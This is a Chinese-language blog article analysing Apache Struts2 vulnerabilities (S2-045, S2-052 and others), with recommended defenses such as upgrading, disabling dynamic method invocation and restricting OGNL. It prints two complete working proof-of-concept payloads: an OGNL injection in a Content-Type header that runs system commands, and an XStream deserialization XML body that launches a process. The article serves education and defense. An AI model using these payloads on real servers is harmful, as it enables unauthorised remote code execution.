当前位置:首页 > 渗透测试 > 正文内容

Struts2漏洞分析与安全防范

Struts2作为广泛使用的Java Web框架,曾多次曝出高危漏洞(如S2-045、S2-061等),攻击者可利用OGNL表达式注入实现远程代码执行(RCE),对系统安全构成严重威胁,漏洞根源在于框架对用户输入过滤不严,恶意请求可绕过验证直接解析OGNL表达式,典型攻击场景包括通过Content-Type、表单参数等注入恶意代码,防范措施建议:及时升级至官方修复版本;禁用动态方法调用(DMI);部署WAF过滤异常请求;严格校验用户输入并限制OGNL解析权限,企业应建立漏洞监测机制,结合最小权限原则和代码审计,降低Struts2应用的潜在风险。(字数:150)

Apache Struts2是一个广泛使用的开源Java Web应用框架,因其灵活性和强大的MVC架构而受到开发者的青睐,Struts2框架在近年来多次曝出严重的安全漏洞,导致许多企业和网站遭受攻击,本文将对Struts2的典型漏洞进行分析,探讨其成因、危害及防范措施,以帮助开发者和安全人员更好地应对相关风险。

Struts2漏洞概述

Struts2框架的核心功能依赖于OGNL(Object-Graph Navigation Language)表达式,用于动态访问和操作Java对象,正是由于OGNL的强大功能,攻击者可以通过构造恶意输入,利用框架的解析机制执行任意代码,从而导致远程代码执行(RCE)、信息泄露等严重安全问题。

近年来,Struts2曝出的高危漏洞包括:

  • S2-001(CVE-2007-4556):最早的OGNL表达式注入漏洞,影响Struts2 2.0.0 - 2.0.11版本。
  • S2-005(CVE-2010-1870):由于参数解析不当导致的安全绕过漏洞。
  • S2-016(CVE-2013-2251):通过动态方法调用(DMI)实现远程代码执行。
  • S2-045(CVE-2017-5638):基于Jakarta Multipart解析器的RCE漏洞,影响全球大量网站。
  • S2-052(CVE-2017-9805):REST插件反序列化漏洞,可导致远程代码执行。

典型漏洞分析

1 S2-045(CVE-2017-5638)

S2-045是Struts2历史上影响最广泛的漏洞之一,攻击者可以通过构造恶意的Content-TypeContent-Disposition头部,利用Jakarta Multipart解析器的缺陷执行任意命令,该漏洞的利用方式如下:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: example.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

该漏洞的根本原因是Struts2在处理文件上传时未对用户输入进行严格过滤,导致OGNL表达式被恶意解析。

2 S2-052(CVE-2017-9805)

S2-052漏洞影响Struts2的REST插件,攻击者可以通过发送精心构造的XML请求触发XStream反序列化漏洞,从而执行任意代码,该漏洞的利用方式如下:

POST /struts2-rest-showcase/orders HTTP/1.1
Host: example.com
Content-Type: application/xml
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc.exe</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
            </is>
          </dataSource>
        </dataHandler>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
  </entry>
</map>

该漏洞的成因在于XStream库在反序列化时未对恶意数据进行过滤,导致攻击者可以构造恶意对象执行任意代码。

漏洞防范措施

1 及时升级Struts2版本

Apache官方在发现漏洞后会发布修复版本,建议开发者及时更新至最新稳定版,如Struts 2.5.30+或更高版本。

2 禁用动态方法调用(DMI)

struts.xml中配置:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

3 限制OGNL表达式执行

struts.xml中添加安全配置:

<constant name="struts.ognl.allowStaticMethodAccess" value="false" />
<constant name="struts.expression.allowMethodInvocation" value="false" />

4 使用WAF(Web应用防火墙)

部署WAF可以有效拦截恶意请求,如ModSecurity、Cloudflare等。

5 代码审计与渗透测试

定期进行安全审计和渗透测试,确保应用不存在已知漏洞。

Struts2框架的漏洞主要源于OGNL表达式解析和反序列化机制的安全缺陷,攻击者可以利用这些漏洞实现远程代码执行,造成严重危害,开发者应保持警惕,及时更新补丁,并采取严格的安全措施,以降低风险,建议企业建立完善的安全运维体系,确保Web应用的安全性。

相关文章

源代码安全审计,保障软件安全的第一道防线

源代码安全审计是保障软件安全的关键环节,通过系统化分析程序源代码,识别潜在漏洞、恶意代码或设计缺陷,从源头规避安全风险,其核心价值在于以主动防御取代被动修复,覆盖SQL注入、缓冲区溢出、身份验证缺陷等...

安全开发生命周期(SDL)构建安全软件的基石

安全开发生命周期(SDL)是一套系统化的方法论,旨在将安全实践深度集成到软件开发的每个阶段,从需求分析到部署维护,其核心在于通过早期预防而非后期修补来降低安全风险,主要涵盖七个关键环节:安全培训、需求...

DCShadow攻击,隐蔽的域控制器威胁与防御策略

** ,DCShadow攻击是一种隐蔽的Active Directory攻击技术,攻击者通过模拟域控制器(DC)将恶意数据(如权限提升、后门账户)直接同步至合法DC,规避传统安全检测,其核心在于利用...

Shadow Credential,网络安全中的隐形威胁与防御策略

** ,Shadow Credential(影子凭证)是网络安全中一种隐蔽的威胁手段,攻击者通过窃取或伪造系统凭证(如令牌、Cookie、API密钥等)绕过身份验证,长期潜伏于网络内部,这类凭证通常...

域内凭据窃取,企业网络安全中的隐形威胁

** ,域内凭据窃取是企业网络安全中一种隐蔽且危害巨大的威胁,攻击者通过钓鱼攻击、恶意软件或漏洞利用等手段获取员工或系统的登录凭证,进而伪装成合法用户渗透内网,横向移动以窃取敏感数据或部署勒索软件,...

深入解析SSTI漏洞,原理、危害与防御措施

** ,SSTI(服务器端模板注入)漏洞是一种利用模板引擎解析用户输入时未严格过滤导致的攻击方式,攻击者通过注入恶意模板代码,可在服务器端执行任意命令或访问敏感数据,危害包括数据泄露、系统接管等,漏...